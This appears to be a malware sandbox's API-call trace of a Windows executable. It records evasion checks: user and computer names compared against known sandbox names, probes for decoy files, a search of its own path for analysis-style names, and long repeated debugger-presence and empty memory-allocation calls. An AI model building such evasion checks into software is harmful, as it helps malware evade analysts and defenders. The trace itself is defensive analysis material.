[0057.797] GetUserNameA (in: lpBuffer=0x12fc9c, pcbBuffer=0x12fa98 | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x12fa98) returned 1
[0057.799] GetComputerNameA (in: lpBuffer=0x12fb9c, nSize=0x12fa98 | out: lpBuffer="ZJEWV7F", nSize=0x12fa98) returned 1
[0057.800] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x12fa9c, nSize=0x12fa98 | out: lpBuffer="ZjEwV7f", nSize=0x12fa98) returned 1
[0057.800] lstrcmpA (lpString1="ZJEWV7F", lpString2="TEQUILABOOMBOOM") returned 1
[0057.801] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="Wilbert") returned -1
[0057.801] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0057.801] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0057.801] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John Doe") returned -1
[0057.801] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John") returned -1
[0057.801] CreateFileA (lpFileName="C:\\email.doc" (normalized: "c:\\email.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0057.801] CloseHandle (hObject=0xffffffff) returned 0
[0057.801] CreateFileA (lpFileName="C:\\a\\foobar.bmp" (normalized: "c:\\a\\foobar.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0057.801] CloseHandle (hObject=0xffffffff) returned 0
[0057.802] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0057.802] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x12fcb0, nSize=0x103 | out: lpFilename="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")) returned 0x2e
[0057.802] StrStrIA (lpFirst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpSrch="sample") returned 0x0
[0057.802] StrStrIA (lpFirst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpSrch="mlwr_smpl") returned 0x0
[0057.802] StrStrIA (lpFirst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpSrch="artifact.exe") returned 0x0
[0057.802] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.802] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.803] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.804] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.805] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.806] IsDebuggerPresent () returned 0
[0057.807] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.807] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.808] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.809] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] IsDebuggerPresent () returned 0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.810] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.811] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.812] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.813] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.814] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.815] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
